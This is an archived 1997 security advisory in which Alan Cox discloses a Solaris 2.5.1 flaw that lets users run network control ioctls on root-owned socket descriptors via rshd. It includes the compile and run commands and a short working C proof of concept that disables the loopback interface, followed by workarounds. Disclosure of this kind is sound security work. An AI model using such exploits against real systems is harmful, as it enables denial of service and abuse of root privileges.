Solaris root socket descriptor bug

Summary
Description:You can swipe control of a root owned socket descriptor from user-owned inetd processes like rshd.
Author:Alan Cox (alan@LXORGUK.UKUU.ORG.UK)
Compromise:control of a root owned socket
Vulnerable Systems:Solaris 2.5.1, probably earlier versions. I hear that 2.6 if fixed. Sun doesn't seem interested in fixing this, for some reason.
Date:19 June 1997 was the data of this post, although Alan has been complaining about the bug for ages.
Notes:You may have to change your interface to le0, hme0, or whatever to make it work.
Details

Solaris 2.5.1 party piece

Alan Cox (alan@LXORGUK.UKUU.ORG.UK)
Thu, 19 Jun 1997 15:27:39 +0100 


     Next in thread: Doug Hughes: "Re: Solaris 2.5.1 party piece" 

 Well CERT have had this for a year, AUSCERT for a couple of weeks and
now its time bugtraq had it

cc solarisuck.c -o solarisuck -lsocket
rsh localhost ./solarisuck


 solarisuck.c

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
        struct ifreq please_break_me;

        strcpy( please_break_me.ifr_name, "lo0");
        please_break_me.ifr_flags=0;

        if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
                perror("Damn it didnt work. Obviously not Solaris ;)");
}


You can adjust this to do other things. Basically any user can do network control
requests on a root created socket descriptor.


Workarounds:
 1.  Disable rsh and any non root owned inetd tasks -  breaks remote tar etc
 2.  Run an OS that the vendor doesnt take a year to fix bugs in

 I have the original emails from Sun folks (Casper Dik, Alec Muffett and co)
 to prove Sun have sat on this for ages.

 Alan

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